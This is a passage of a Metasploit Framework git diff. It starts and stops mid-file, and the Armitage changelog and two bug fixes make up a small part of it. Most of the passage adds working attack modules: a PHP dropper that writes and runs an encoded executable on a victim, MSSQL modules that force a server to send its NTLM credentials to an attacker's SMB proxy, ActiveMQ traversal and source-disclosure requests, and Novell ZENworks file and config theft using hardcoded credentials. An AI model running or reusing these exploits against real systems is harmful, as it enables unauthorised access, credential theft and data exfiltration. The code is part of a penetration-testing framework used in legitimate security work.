((RpcAsync)connection).execute_async(destroyCommand, new Object[] { session });
|
||||||
}
|
}
|
||||||
|
|
||||||
|
/* we don't need to keep reading from this console */
|
||||||
|
kill();
|
||||||
}
|
}
|
||||||
|
|
||||||
protected void finalize() {
|
protected void finalize() {
|
||||||
|
|
|
@ -1,6 +1,23 @@
|
||||||
Armitage Changelog
|
Armitage Changelog
|
||||||
==================
|
==================
|
||||||
|
|
||||||
|
16 Oct 12 (tested against msf 15972)
|
||||||
|
---------
|
||||||
|
- Added port 5985 to MSF Scans list.
|
||||||
|
- Meterpreter -> Access -> Persistence sets ACTION option for you
|
||||||
|
- Changed how LHOST and LPORT are set globally to prevent Ruby
|
||||||
|
character encoding conversion error in the framework.
|
||||||
|
- Pass Session, Log Keystrokes, and Persist now query module info
|
||||||
|
in a separate thread (avoids a deadlock opportunity)
|
||||||
|
- Armitage now shows folder/URL in a popup dialog for environments
|
||||||
|
where JDesktop API to open them directly is not supported
|
||||||
|
- Check all credentials option now filters the list to avoid trying
|
||||||
|
a pair of credentials twice.
|
||||||
|
- Armitage's exploit payload selection now selects cmd/unix/interact
|
||||||
|
when appropriate.
|
||||||
|
- Explore -> Processes now works with Java Meterpreter again.
|
||||||
|
- MSF Scans feature now runs http_version against port 443
|
||||||
|
|
||||||
5 Sept 12 (tested against msf r15804)
|
5 Sept 12 (tested against msf r15804)
|
||||||
---------
|
---------
|
||||||
- Setup dialog now trims host, port, user, and pass fields.
|
- Setup dialog now trims host, port, user, and pass fields.
|
||||||
|
|
|
@ -0,0 +1,88 @@
|
||||||
|
# -*- coding: binary -*-
|
||||||
|
##
|
||||||
|
# $Id$
|
||||||
|
##
|
||||||
|
|
||||||
|
###
|
||||||
|
#
|
||||||
|
# This module exposes a simple method to create an payload in an executable.
|
||||||
|
#
|
||||||
|
###
|
||||||
|
|
||||||
|
require 'msf/core/payload/php'
|
||||||
|
|
||||||
|
module Msf
|
||||||
|
module Exploit::PhpEXE
|
||||||
|
include Exploit::EXE
|
||||||
|
include Payload::Php
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate a first-stage php payload.
|
||||||
|
#
|
||||||
|
# For ARCH_PHP targets, simply returns payload.encoded wrapped in <?php ?>
|
||||||
|
# markers.
|
||||||
|
#
|
||||||
|
# For target architectures other than ARCH_PHP, this will base64 encode an
|
||||||
|
# appropriate executable and drop it on the target system. After running
|
||||||
|
# it, the generated code will attempt to unlink the dropped executable which
|
||||||
|
# will certainly fail on Windows.
|
||||||
|
#
|
||||||
|
# @option opts [String] :writable_path A path on the victim where we can
|
||||||
|
# write an executable. Uses current directory if not given.
|
||||||
|
# @option opts [Boolean] :unlink_self Whether to call unlink(__FILE__); in
|
||||||
|
# the payload. Good idea for arbitrary-file-upload vulns, bad idea for
|
||||||
|
# write-to-a-config-file vulns
|
||||||
|
#
|
||||||
|
# @return [String] A PHP payload that will drop an executable for non-php
|
||||||
|
# target architectures
|
||||||
|
#
|
||||||
|
# @todo Test on Windows
|
||||||
|
def get_write_exec_payload(opts={})
|
||||||
|
case target_arch.first
|
||||||
|
when ARCH_PHP
|
||||||
|
php = payload.encoded
|
||||||
|
else
|
||||||
|
bin_name = Rex::Text.rand_text_alpha(8)
|
||||||
|
if opts[:writable_path]
|
||||||
|
bin_name = [opts[:writable_path], bin_name].join("/")
|
||||||
|
else
|
||||||
|
bin_name = "./#{bin_name}"
|
||||||
|
end
|
||||||
|
if target["Platform"] == 'win'
|
||||||
|
bin_name << ".exe"
|
||||||
|
print_debug("Unable to clean up #{bin_name}, delete it manually")
|
||||||
|
end
|
||||||
|
p = Rex::Text.encode_base64(generate_payload_exe)
|
||||||
|
php = %Q{
|
||||||
|
error_reporting(0);
|
||||||
|
$ex = "#{bin_name}";
|
||||||
|
$f = fopen($ex, "wb");
|
||||||
|
fwrite($f, base64_decode("#{p}"));
|
||||||
|
fclose($f);
|
||||||
|
chmod($ex, 0777);
|
||||||
|
function my_cmd($cmd) {
|
||||||
|
#{php_preamble}
|
||||||
|
#{php_system_block};
|
||||||
|
}
|
||||||
|
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {
|
||||||
|
my_cmd($ex . "&");
|
||||||
|
} else {
|
||||||
|
my_cmd($ex);
|
||||||
|
}
|
||||||
|
unlink($ex);
|
||||||
|
}
|
||||||
|
end
|
||||||
|
|
||||||
|
if opts[:unlink_self]
|
||||||
|
php << "unlink(__FILE__);"
|
||||||
|
end
|
||||||
|
|
||||||
|
php.gsub!(/#.*$/, '')
|
||||||
|
php.gsub!(/[\t ]+/, ' ')
|
||||||
|
php.gsub!(/\n/, ' ')
|
||||||
|
return "<?php #{php} ?>"
|
||||||
|
end
|
||||||
|
|
||||||
|
|
||||||
|
end
|
||||||
|
end
|
|
@ -6,10 +6,17 @@ require 'msf/core'
|
||||||
###
|
###
|
||||||
module Msf::Payload::Php
|
module Msf::Payload::Php
|
||||||
|
|
||||||
def initialize(info = {})
|
#
|
||||||
super(info)
|
# Generate a chunk of PHP code that should be eval'd before
|
||||||
end
|
# #php_system_block.
|
||||||
|
#
|
||||||
|
# The generated code will initialize
|
||||||
|
#
|
||||||
|
# @options options [String] :disabled_varname PHP variable name in which to
|
||||||
|
# store an array of disabled functions.
|
||||||
|
#
|
||||||
|
# @returns [String] A chunk of PHP code
|
||||||
|
#
|
||||||
def php_preamble(options = {})
|
def php_preamble(options = {})
|
||||||
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||||
dis = '$' + dis if (dis[0,1] != '$')
|
dis = '$' + dis if (dis[0,1] != '$')
|
||||||
|
@ -32,6 +39,20 @@ module Msf::Payload::Php
|
||||||
return preamble
|
return preamble
|
||||||
end
|
end
|
||||||
|
|
||||||
|
#
|
||||||
|
# Generate a chunk of PHP code that tries to run a command.
|
||||||
|
#
|
||||||
|
# @options options [String] :cmd_varname PHP variable name containing the
|
||||||
|
# command to run
|
||||||
|
# @options options [String] :disabled_varname PHP variable name containing
|
||||||
|
# an array of disabled functions. See #php_preamble
|
||||||
|
# @options options [String] :output_varname PHP variable name in which to
|
||||||
|
# store the output of the command. Will contain 0 if no exec functions
|
||||||
|
# work.
|
||||||
|
#
|
||||||
|
# @returns [String] A chunk of PHP code that, with a little luck, will run a
|
||||||
|
# command.
|
||||||
|
#
|
||||||
def php_system_block(options = {})
|
def php_system_block(options = {})
|
||||||
cmd = options[:cmd_varname] || '$cmd'
|
cmd = options[:cmd_varname] || '$cmd'
|
||||||
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
|
||||||
|
@ -102,12 +123,12 @@ module Msf::Payload::Php
|
||||||
# Currently unused until we can figure out how to get output with COM
|
# Currently unused until we can figure out how to get output with COM
|
||||||
# objects (which are not subject to safe mode restrictions) instead of
|
# objects (which are not subject to safe mode restrictions) instead of
|
||||||
# PHP functions.
|
# PHP functions.
|
||||||
win32_com = "
|
#win32_com = "
|
||||||
if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
|
# if (FALSE !== strpos(strtolower(PHP_OS), 'win' )) {
|
||||||
$wscript = new COM('Wscript.Shell');
|
# $wscript = new COM('Wscript.Shell');
|
||||||
$wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
|
# $wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
|
||||||
#{output} = file_get_contents('%TEMP%\\out.txt');
|
# #{output} = file_get_contents('%TEMP%\\out.txt');
|
||||||
}else"
|
# }else"
|
||||||
fail_block = "
|
fail_block = "
|
||||||
{
|
{
|
||||||
#{output}=0;
|
#{output}=0;
|
||||||
|
|
|
@ -367,6 +367,17 @@ module PacketDispatcher
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
|
# If the backlog and incomplete arrays are the same, it means
|
||||||
|
# dispatch_inbound_packet wasn't able to handle any of the
|
||||||
|
# packets. When that's the case, we can get into a situation
|
||||||
|
# where @pqueue is not empty and, since nothing else bounds this
|
||||||
|
# loop, we spin CPU trying to handle packets that can't be
|
||||||
|
# handled. Sleep here to treat that situation as though the
|
||||||
|
# queue is empty.
|
||||||
|
if (backlog.length > 0 && backlog.length == incomplete.length)
|
||||||
|
::IO.select(nil, nil, nil, 0.10)
|
||||||
|
end
|
||||||
|
|
||||||
@pqueue.unshift(*incomplete)
|
@pqueue.unshift(*incomplete)
|
||||||
|
|
||||||
if(@pqueue.length > 100)
|
if(@pqueue.length > 100)
|
||||||
|
|
|
@ -1894,11 +1894,11 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
||||||
last_search_id = sid
|
last_search_id = sid
|
||||||
last_offset = loff
|
last_offset = loff
|
||||||
last_filename = name
|
last_filename = name
|
||||||
if eos != 1 #If we aren't at the end of the search, run find_next
|
if eos == 0 and last_offset != 0 #If we aren't at the end of the search, run find_next
|
||||||
resp = find_next(last_search_id, last_offset, last_filename)
|
resp = find_next(last_search_id, last_offset, last_filename)
|
||||||
search_next = 1 # Flip bit so response params will parse correctly
|
search_next = 1 # Flip bit so response params will parse correctly
|
||||||
end
|
end
|
||||||
end until eos == 1
|
end until eos != 0 or last_offset == 0
|
||||||
rescue ::Exception
|
rescue ::Exception
|
||||||
raise $!
|
raise $!
|
||||||
end
|
end
|
||||||
|
|
|
@ -0,0 +1,79 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::MSSQL
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Microsoft SQL Server NTLM Stealer',
|
||||||
|
'Description' => %q{
|
||||||
|
This module can be used to help capture or relay the LM/NTLM credentials of the
|
||||||
|
account running the remote SQL Server service. The module will use the supplied
|
||||||
|
credentials to connect to the target SQL Server instance and execute the native
|
||||||
|
"xp_dirtree" or "xp_fileexist" stored procedure. The stored procedures will then
|
||||||
|
force the service account to authenticate to the system defined in the SMBProxy
|
||||||
|
option. In order for the attack to be successful, the SMB capture or relay module
|
||||||
|
must be running on the system defined as the SMBProxy. The database account used
|
||||||
|
to connect to the database should only require the "PUBLIC" role to execute.
|
||||||
|
Successful execution of this attack usually results in local administrative access
|
||||||
|
to the Windows system. Specifically, this works great for relaying credentials
|
||||||
|
between two SQL Servers using a shared service account to get shells. However, if
|
||||||
|
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
|
||||||
|
and john the ripper. Thanks to "Sh2kerr" who wrote the ora_ntlm_stealer for the
|
||||||
|
inspiration.
|
||||||
|
},
|
||||||
|
'Author' => [ 'nullbind <scott.sutherland[at]netspi.com>' ],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Platform' => [ 'Windows' ],
|
||||||
|
'References' => [[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ]],
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
|
||||||
|
# Reminder
|
||||||
|
print_status("DONT FORGET to run a SMB capture or relay module!")
|
||||||
|
|
||||||
|
# Call auth_force method to execute "xp_dirtree"
|
||||||
|
begin
|
||||||
|
force_auth("xp_dirtree",datastore['SMBPROXY'])
|
||||||
|
return
|
||||||
|
rescue
|
||||||
|
print_error("xp_dirtree failed to initiate authentication to smbproxy.")
|
||||||
|
end
|
||||||
|
|
||||||
|
# Call auth_force method to execute "xp_fileexist" if "xp_dirtree" fails
|
||||||
|
begin
|
||||||
|
force_auth("xp_fileexist",datastore['SMBPROXY'])
|
||||||
|
return
|
||||||
|
rescue
|
||||||
|
print_error("xp_fileexist failed to initiate authentication to smbproxy.")
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
# Method to force sql server to authenticate
|
||||||
|
def force_auth(sprocedure,smbproxy)
|
||||||
|
|
||||||
|
print_status("Forcing SQL Server at #{rhost} to auth to #{smbproxy} via #{sprocedure}...")
|
||||||
|
|
||||||
|
# Generate random file name
|
||||||
|
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
|
||||||
|
|
||||||
|
# Setup query
|
||||||
|
sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'"
|
||||||
|
result = mssql_query(sql, false) if mssql_login_datastore
|
||||||
|
column_data = result[:rows]
|
||||||
|
print_good("Successfully executed #{sprocedure} on #{rhost}")
|
||||||
|
print_good("Go check your SMB relay or capture module for goodies!")
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -0,0 +1,61 @@
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::MSSQL_SQLI
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Microsoft SQL Server NTLM Stealer - SQLi',
|
||||||
|
'Description' => %q{
|
||||||
|
This module can be used to help capture or relay the LM/NTLM credentials of the
|
||||||
|
account running the remote SQL Server service. The module will use the SQL
|
||||||
|
injection from GET_PATH to connect to the target SQL Server instance and execute
|
||||||
|
the native "xp_dirtree" or stored procedure. The stored procedures will then
|
||||||
|
force the service account to authenticate to the system defined in the SMBProxy
|
||||||
|
option. In order for the attack to be successful, the SMB capture or relay module
|
||||||
|
must be running on the system defined as the SMBProxy. The database account used to
|
||||||
|
connect to the database should only require the "PUBLIC" role to execute.
|
||||||
|
Successful execution of this attack usually results in local administrative access
|
||||||
|
to the Windows system. Specifically, this works great for relaying credentials
|
||||||
|
between two SQL Servers using a shared service account to get shells. However, if
|
||||||
|
the relay fails, then the LM hash can be reversed using the Halflm rainbow tables
|
||||||
|
and john the ripper.
|
||||||
|
},
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'nullbind <scott.sutherland[at]netspi.com>',
|
||||||
|
'Antti <antti.rantasaari[at]netspi.com>'
|
||||||
|
],
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Targets' =>
|
||||||
|
[
|
||||||
|
[ 'Automatic', { } ],
|
||||||
|
],
|
||||||
|
'DefaultTarget' => 0,
|
||||||
|
'Platform' => [ 'Windows' ],
|
||||||
|
'References' => [[ 'URL', 'http://en.wikipedia.org/wiki/SMBRelay' ]],
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
OptString.new('SMBPROXY', [ true, 'IP of SMB proxy or sniffer.', '0.0.0.0']),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run
|
||||||
|
|
||||||
|
# Reminder
|
||||||
|
print_status("DONT FORGET to run a SMB capture or relay module!")
|
||||||
|
|
||||||
|
# Generate random file name
|
||||||
|
rand_filename = Rex::Text.rand_text_alpha(8, bad='')
|
||||||
|
|
||||||
|
# Setup query - double escaping backslashes
|
||||||
|
sql = "exec master..xp_dirtree '\\\\\\\\#{datastore['SMBPROXY']}\\#{rand_filename}'"
|
||||||
|
print_status("Attempting to force backend DB to authenticate to the #{datastore['SMBPROXY']}")
|
||||||
|
|
||||||
|
# Execute query to force authentation from backend database to smbproxy
|
||||||
|
mssql_query(sql)
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,71 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apache ActiveMQ JSP files Source Disclosure',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a source code disclosure in Apache ActiveMQ. The
|
||||||
|
vulnerability is due to the Jetty's ResourceHandler handling of specially crafted
|
||||||
|
URI's starting with //. It has been tested successfully on Apache ActiveMQ 5.3.1
|
||||||
|
over Windows 2003 SP2 and Ubuntu 10.04.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'Veerendra G.G', # Vulnerability discovery
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2010-1587' ],
|
||||||
|
[ 'OSVDB', '64020' ],
|
||||||
|
[ 'BID', '39636' ],
|
||||||
|
[ 'URL', 'https://issues.apache.org/jira/browse/AMQ-2700' ]
|
||||||
|
]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8161),
|
||||||
|
OptString.new('TARGETURI', [true, 'Path to the JSP file to disclose source code', '/admin/index.jsp'])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
|
||||||
|
print_status("#{rhost}:#{rport} - Sending request...")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => "/#{target_uri.to_s}",
|
||||||
|
'method' => 'GET',
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200
|
||||||
|
contents = res.body
|
||||||
|
fname = File.basename(datastore['TARGETURI'])
|
||||||
|
path = store_loot(
|
||||||
|
'apache.activemq',
|
||||||
|
'text/plain',
|
||||||
|
ip,
|
||||||
|
contents,
|
||||||
|
fname
|
||||||
|
)
|
||||||
|
print_status("#{rhost}:#{rport} - File saved in: #{path}")
|
||||||
|
else
|
||||||
|
print_error("#{rhost}:#{rport} - Failed to retrieve file")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,79 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Apache ActiveMQ Directory Traversal',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a directory traversal vulnerability in Apache ActiveMQ
|
||||||
|
5.3.1 and 5.3.2 on Windows systems. The vulnerability exists in the Jetty's
|
||||||
|
ResourceHandler installed with the affected versions. This module has been tested
|
||||||
|
successfully on ActiveMQ 5.3.1 and 5.3.2 over Windows 2003 SP2.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'AbdulAziz Hariri', # Vulnerability discovery
|
||||||
|
'juan vazquez' # Metasploit module
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'URL', 'http://www.verisigninc.com/en_US/products-and-services/network-intelligence-availability/idefense/public-vulnerability-reports/articles/index.xhtml?id=895' ],
|
||||||
|
[ 'URL', 'https://issues.apache.org/jira/browse/amq-2788' ]
|
||||||
|
]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8161),
|
||||||
|
OptString.new('FILEPATH', [true, 'The name of the file to download', '/boot.ini']),
|
||||||
|
OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 4])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
# No point to continue if no filename is specified
|
||||||
|
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
|
||||||
|
print_error("#{rhost}:#{rport} - Please supply FILEPATH")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
travs = "/\\.." * (datastore['DEPTH'] || 1)
|
||||||
|
travs << "/" unless datastore['FILEPATH'][0] == "\\" or datastore['FILEPATH'][0] == "/"
|
||||||
|
travs << datastore['FILEPATH']
|
||||||
|
|
||||||
|
print_status("#{rhost}:#{rport} - Sending request...")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => travs,
|
||||||
|
'method' => 'GET',
|
||||||
|
})
|
||||||
|
|
||||||
|
if res and res.code == 200
|
||||||
|
contents = res.body
|
||||||
|
fname = File.basename(datastore['FILEPATH'])
|
||||||
|
path = store_loot(
|
||||||
|
'apache.activemq',
|
||||||
|
'application/octet-stream',
|
||||||
|
ip,
|
||||||
|
contents,
|
||||||
|
fname
|
||||||
|
)
|
||||||
|
print_status("#{rhost}:#{rport} - File saved in: #{path}")
|
||||||
|
else
|
||||||
|
print_error("#{rhost}:#{rport} - Failed to retrieve file")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,97 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Novell ZENworks Asset Management 7.5 Remote File Access',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a hardcoded user and password for the GetFile maintenance
|
||||||
|
task in Novell ZENworks Asset Management 7.5. The vulnerability exists in the Web
|
||||||
|
Console and can be triggered by sending a specially crafted request to the rtrlet component,
|
||||||
|
allowing a remote unauthenticated user to retrieve a maximum of 100_000_000 KB of
|
||||||
|
remote files. This module has been successfully tested on Novell ZENworks Asset
|
||||||
|
Management 7.5.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'juan vazquez' # Also the discoverer
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2012-4933' ],
|
||||||
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/10/11/cve-2012-4933-novell-zenworks' ] ]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080),
|
||||||
|
OptBool.new('ABSOLUTE', [ true, 'Use an absolute file path or directory traversal relative to the tomcat home', true ]),
|
||||||
|
OptString.new('FILEPATH', [true, 'The name of the file to download', 'C:\\WINDOWS\\system32\\drivers\\etc\\hosts']),
|
||||||
|
OptInt.new('DEPTH', [false, 'Traversal depth if absolute is set to false', 1])
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
# No point to continue if no filename is specified
|
||||||
|
if datastore['FILEPATH'].nil? or datastore['FILEPATH'].empty?
|
||||||
|
print_error("Please supply the name of the file you want to download")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
post_data = "kb=100000000&"
|
||||||
|
if datastore['ABSOLUTE']
|
||||||
|
post_data << "file=#{datastore['FILEPATH']}&"
|
||||||
|
post_data << "absolute=yes&"
|
||||||
|
else
|
||||||
|
travs = "../" * (datastore['DEPTH'] || 1)
|
||||||
|
travs << "/" unless datastore['FILEPATH'][0] == "\\" or datastore['FILEPATH'][0] == "/"
|
||||||
|
travs << datastore['FILEPATH']
|
||||||
|
post_data << "file=#{travs}&"
|
||||||
|
post_data << "absolute=no&"
|
||||||
|
end
|
||||||
|
post_data << "maintenance=GetFile_password&username=Ivanhoe&password=Scott&send=Submit"
|
||||||
|
|
||||||
|
print_status("#{rhost}:#{rport} - Sending request...")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/rtrlet/rtr',
|
||||||
|
'method' => 'POST',
|
||||||
|
'data' => post_data,
|
||||||
|
}, 5)
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body =~ /Last 100000000 kilobytes of/ and res.body =~ /File name/ and not res.body =~ /<br\/>File not found.<br\/>/
|
||||||
|
print_good("#{rhost}:#{rport} - File retrieved successfully!")
|
||||||
|
start_contents = res.body.index("<pre>") + 7
|
||||||
|
end_contents = res.body.rindex("</pre>") - 1
|
||||||
|
if start_contents.nil? or end_contents.nil?
|
||||||
|
print_error("#{rhost}:#{rport} - Error reading file contents")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
contents = res.body[start_contents..end_contents]
|
||||||
|
fname = File.basename(datastore['FILEPATH'])
|
||||||
|
path = store_loot(
|
||||||
|
'novell.zenworks_asset_management',
|
||||||
|
'application/octet-stream',
|
||||||
|
ip,
|
||||||
|
contents,
|
||||||
|
fname
|
||||||
|
)
|
||||||
|
print_status("#{rhost}:#{rport} - File saved in: #{path}")
|
||||||
|
else
|
||||||
|
print_error("#{rhost}:#{rport} - Failed to retrieve file")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
end
|
||||||
|
end
|
|
@ -0,0 +1,74 @@
|
||||||
|
##
|
||||||
|
# This file is part of the Metasploit Framework and may be subject to
|
||||||
|
# redistribution and commercial restrictions. Please see the Metasploit
|
||||||
|
# web site for more information on licensing and terms of use.
|
||||||
|
# http://metasploit.com/
|
||||||
|
##
|
||||||
|
|
||||||
|
require 'msf/core'
|
||||||
|
|
||||||
|
class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
|
include Msf::Exploit::Remote::HttpClient
|
||||||
|
include Msf::Auxiliary::Report
|
||||||
|
include Msf::Auxiliary::Scanner
|
||||||
|
|
||||||
|
def initialize(info = {})
|
||||||
|
super(update_info(info,
|
||||||
|
'Name' => 'Novell ZENworks Asset Management 7.5 Configuration Access',
|
||||||
|
'Description' => %q{
|
||||||
|
This module exploits a hardcoded user and password for the GetConfig maintenance
|
||||||
|
task in Novell ZENworks Asset Management 7.5. The vulnerability exists in the Web
|
||||||
|
Console and can be triggered by sending a specially crafted request to the rtrlet component,
|
||||||
|
allowing a remote unauthenticated user to retrieve the configuration parameters of
|
||||||
|
Nozvell Zenworks Asset Managmment, including the database credentials in clear text.
|
||||||
|
This module has been successfully tested on Novell ZENworks Asset Management 7.5.
|
||||||
|
},
|
||||||
|
'License' => MSF_LICENSE,
|
||||||
|
'Author' =>
|
||||||
|
[
|
||||||
|
'juan vazquez' # Also the discoverer
|
||||||
|
],
|
||||||
|
'References' =>
|
||||||
|
[
|
||||||
|
[ 'CVE', '2012-4933' ],
|
||||||
|
[ 'URL', 'https://community.rapid7.com/community/metasploit/blog/2012/10/11/cve-2012-4933-novell-zenworks' ]
|
||||||
|
]
|
||||||
|
))
|
||||||
|
|
||||||
|
register_options(
|
||||||
|
[
|
||||||
|
Opt::RPORT(8080),
|
||||||
|
], self.class)
|
||||||
|
end
|
||||||
|
|
||||||
|
def run_host(ip)
|
||||||
|
|
||||||
|
post_data = "kb=&file=&absolute=&maintenance=GetConfigInfo_password&username=Ivanhoe&password=Scott&send=Submit"
|
||||||
|
|
||||||
|
print_status("#{rhost}:#{rport} - Sending request...")
|
||||||
|
res = send_request_cgi({
|
||||||
|
'uri' => '/rtrlet/rtr',
|
||||||
|
'method' => 'POST',
|
||||||
|
'data' => post_data,
|
||||||
|
}, 5)
|
||||||
|
|
||||||
|
if res and res.code == 200 and res.body =~ /<b>Rtrlet Servlet Configuration Parameters \(live\)<\/b><br\/>/
|
||||||
|
print_good("#{rhost}:#{rport} - File retrieved successfully!")
|
||||||
|
path = store_loot(
|
||||||
|
'novell.zenworks_asset_management.config',
|
||||||
|
'text/html',
|
||||||
|
ip,
|
||||||
|
res.body,
|
||||||
|
nil,
|
||||||
|
"Novell ZENworks Asset Management Configuration"
|
||||||
|
)
|
||||||
|
print_status("#{rhost}:#{rport} - File saved in: #{path}")
|
||||||
|
else
|
||||||
|
print_error("#{rhost}:#{rport} - Failed to retrieve configuration")
|
||||||
|
return
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
|
@ -101,7 +101,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
begin
|
begin
|
||||||
smb_login()
|
smb_login()
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
|
rescue ::Rex::Proto::SMB::Exceptions::LoginError
|
||||||
|
rescue ::Rex::Proto::SMB::Exceptions::ErrorCode
|
||||||
end
|
end
|
||||||
|
|
||||||
begin
|
begin
|
||||||
|
@ -135,7 +136,8 @@ class Metasploit3 < Msf::Auxiliary
|
||||||
|
|
||||||
begin
|
begin
|
||||||
smb_login()
|
smb_login()
|
||||||
rescue ::Rex::Proto::SMB::Exceptions::LoginError => e
|
